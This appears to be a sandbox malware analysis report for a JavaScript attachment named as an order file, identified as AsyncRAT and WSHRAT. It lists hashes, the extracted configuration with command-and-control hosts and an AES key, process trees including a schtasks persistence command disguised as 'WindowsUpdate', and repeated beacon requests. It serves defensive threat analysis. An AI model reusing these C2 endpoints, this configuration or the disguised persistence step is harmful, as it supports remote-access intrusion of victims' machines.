Overview

overview

10

Static

static

1

ORDER-9844...432.js

windows7-x64

10

ORDER-9844...432.js

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    18/03/2025, 21:42 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ORDER-984486-895432.js

  • Size

    563KB

  • MD5

    ab0dac9d1b9b83383dbc5d469d5fa1ae

  • SHA1

    b15b24f82ef0a07fce5b7c2735d8a8b46b547287

  • SHA256

    398e3d3d2ad8e2e91693c1682780d2352ebe962b67547af5c20735ae97ea94a9

  • SHA512

    66829799b8233f142aa1420f1e2dd4dfbdc3f2417279b12481d87612a0d97add61d819e58c369818ac201a4ba568e92d5fcd4b9ce17fb68332eeb5718f2f72fc

  • SSDEEP

    3072:MCAFTI3Ws7WZ4hRPhts7YRw7Xx5FzNM6x/P0UHD2yQ/ry:MCAFs3F7WZIhe7nbDIxu

Score
10/10
asyncratwshratmarch-25discoveryexecutionpersistencerattrojan

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

March-25

C2

chongmei33.publicvm.com:2703

chongmei33.publicvm.com:7031

umarmira055.duckdns.org:2703

umarmira055.duckdns.org:7031
Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    true

  • install_file

    WindowsUpdate.exe

  • install_folder

    %Temp%

aes.plain
1
JRz5dJo3T2hO3e940vaaTSuJu3KXJ3dK

Extracted

Family

wshrat

C2

http://chongmei33.myddns.rocks:7044

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

    trojanwshrat
  • Wshrat family
    wshrat
  • Async RAT payload 1 IoCs
    rat
  • Blocklisted process makes network request 21 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Script User-Agent 21 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ORDER-984486-895432.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe.js"
      2⤵
      • Drops startup file
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2240
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\adobe.js"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Adds Run key to start application
        PID:2924
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\word.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1256
      • C:\Users\Admin\AppData\Local\Temp\RDo.exe
        "C:\Users\Admin\AppData\Local\Temp\RDo.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2076
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate" /tr '"C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe"' & exit
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2852
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate" /tr '"C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe"'
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:2600
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpA12F.tmp.bat""
          4⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2624
          • C:\Windows\SysWOW64\timeout.exe
            timeout 3
            5⤵
            • System Location Discovery: System Language Discovery
            • Delays execution with timeout.exe
            PID:2636
          • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
            "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3032

Network

  • flag-us
    DNS
    chongmei33.myddns.rocks
    wscript.exe
    Remote address:
    8.8.8.8:53
    Request
    chongmei33.myddns.rocks
    IN A
    Response
    chongmei33.myddns.rocks
    IN A
    46.246.82.67
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    umarmira055.duckdns.org
    WindowsUpdate.exe
    Remote address:
    8.8.8.8:53
    Request
    umarmira055.duckdns.org
    IN A
    Response
    umarmira055.duckdns.org
    IN A
    46.246.82.67
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-se
    POST
    http://chongmei33.myddns.rocks:7044/is-ready
    wscript.exe
    Remote address:
    46.246.82.67:7044
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: WSHRAT|581E7694|JXXXDSWS|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 18/3/2025|JavaScript
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: chongmei33.myddns.rocks:7044
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     172 B
     5
    4

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7031
    umarmira055.duckdns.org
    tls
    WindowsUpdate.exe
    5.9kB
     6.3kB
     42
    38
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    606 B
     172 B
     6
    4

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    1.6kB
     260 B
     13
    6

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    930 B
     132 B
     6
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     172 B
     5
    4

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    982 B
     132 B
     7
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    612 B
     132 B
     6
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     172 B
     5
    4

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    612 B
     172 B
     6
    4

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 46.246.82.67:7044
    http://chongmei33.myddns.rocks:7044/is-ready
    http
    wscript.exe
    560 B
     132 B
     5
    3

    HTTP Request

    POST http://chongmei33.myddns.rocks:7044/is-ready
  • 8.8.8.8:53
    chongmei33.myddns.rocks
    dns
    wscript.exe
    69 B
     85 B
     1
    1

    DNS Request

    chongmei33.myddns.rocks

    DNS Response

    46.246.82.67

  • 8.8.8.8:53
    umarmira055.duckdns.org
    dns
    WindowsUpdate.exe
    69 B
     85 B
     1
    1

    DNS Request

    umarmira055.duckdns.org

    DNS Response

    46.246.82.67

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\RDo.exe
    Filesize

    45KB

    MD5

    7e54eec2d10957178e6410ba1c899c21

    SHA1

    9f79b7ef7b24933b0b106a387fbf5834863dbc78

    SHA256

    d7d374d650d362b4a859f526189cda7ecdef9b0ee60267a1c65c3a9e1bcfd0f8

    SHA512

    e7cec2a67334c72e6476adb53bcb6de575f7c9513a49f0be7a7f6fb00b23ac070335b734631f024c411293cb09d0faa89bf7017837d65f5188884eabf853dd17

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\adobe.js
    Filesize

    305KB

    MD5

    294f1f4ee9bd1a410379ccc7430c7a69

    SHA1

    02436fc31c5fa37c3735dcff0f450c20e302e7a2

    SHA256

    f0cc3f5f26302ba2cd290d11052a42b4adc5401b953439d49723b666ac100187

    SHA512

    8a87e29348ef3bd4c1847a65ef9ffabedba4f51504512819df396123d90e7bf8e1b3e7edb1e4e33419a8d309e47cbaa2f7c3a9f387f6d987cedc4e048d479abd

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\tmpA12F.tmp.bat
    Filesize

    160B

    MD5

    46a638a0b79a7a9801b4184cc43c92f7

    SHA1

    6a1b1e1ff95b1c0bfa5837da4566e1f89b069534

    SHA256

    d372a199c1dd74b21c9bd5e798726a1abaf38b26eb7565485ae54d84c53bcf73

    SHA512

    8a5923a59bc138877f5430db16df4c721c2ca717927407d9f28597160f6c91968f2bd84529bcd826622278cd43a8100aab060cb69fa16e3aa983aa0d1994023c

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\word.js
    Filesize

    82KB

    MD5

    33d6e875441823e698ea8b8c4739dfd4

    SHA1

    a446695785e38522c923a5340e43c236ac332616

    SHA256

    32e6e9765b2e1e18699fdcc2817137b22f893457e2a10ae3f66081dd58f811ce

    SHA512

    633a462dba83497be30c969c1c637f144e1ff2bc741687326a53604bce93dd80af12acb49e546942978a2e629d6811b8612cd1362af5d41921ddae59b38977d2

    Download Submit

  • memory/2076-20-0x0000000000AF0000-0x0000000000B02000-memory.dmp

    Filesize

    72KB

    Download

  • memory/3032-33-0x0000000000EF0000-0x0000000000F02000-memory.dmp

    Filesize

    72KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.